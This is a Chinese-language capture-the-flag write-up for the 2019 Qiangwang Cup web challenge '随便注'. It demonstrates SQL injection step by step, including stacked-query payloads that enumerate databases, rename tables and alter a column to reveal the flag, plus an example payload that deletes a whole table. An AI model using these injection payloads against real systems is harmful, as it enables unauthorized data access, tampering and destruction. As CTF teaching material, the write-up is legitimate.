强网杯2019-web-随便注
题目
writeup
首先根据题目意思,知道是SQL注入
尝试进行注入
?inject=1
1'
发现报错,想到利用#
进行截断(注释掉)
1' #
回显正常
1' and 1=1#
1' and 1=2#
发现没有回显
判断字段数
1' order by 1#
1' order by 2#
1' order by 3#
到3时报错,故知字段数为2
尝试union联合注入
1' union select 1,2 #
发现报错,即过滤了select等关键字
查阅资料尝试
堆叠注入
1' ; show databases;#
成功回显
查询表名
1' ; show tables;#
查询两个表中的列名
1' ; show columns from words;#
1' ; show columns from `1919810931114514`;#
注意:使用反单引号
发现flag
查询大神博客后被下面的操作惊艳~
重点来了!!!
从之前的回显发现实际上都是words表内的,我们若想得到flag中的内容,需将其换为words表内的内容进行回显
换个角度来说,就是我们需要将1919810931114514表名换为words,并将flag的列名换为id
则需要以下三步:
- 将表名words换为其他的,类似于word1
- 将表名1919810931114514换为words
- 将列名flag换为id
并通过之前的过滤规则发现并没有过滤掉alter
、rename
等关键字
于是构造
1' ; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ; alter table `words` change `flag` `id` varchar(100);#
成功改变数据库结构后
1' or 1=1#
得到flag~
知识点
堆叠注入
在SQL中,分号(;)是用来表示一条sql语句的结束。
试想一下我们在 ;
结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
例如以下这个例子。用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
参考文章:https://www.cnblogs.com/0nth3way/articles/7128189.html
对于数据库结构改变的简单语句
CREATE DATABASE - 创建新数据库
ALTER DATABASE - 修改数据库
CREATE TABLE - 创建新表
ALTER TABLE - 变更(改变)数据库表
DROP TABLE - 删除表
CREATE INDEX - 创建索引(搜索键)
DROP INDEX - 删除索引
本题涉及:
1' ; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ; alter table `words` change `flag` `id` varchar(100);#
-
rename - 重命名
rename tables `words` to `word1`
重命名表
words
为word1
-
alter - 变更列
alter table `words` change `flag` `id` varchar(100)
变更表
words
中的列flag
为id
且其性质为varchar(100)
上一篇: django的admin站点管理
下一篇: 什么是分布式锁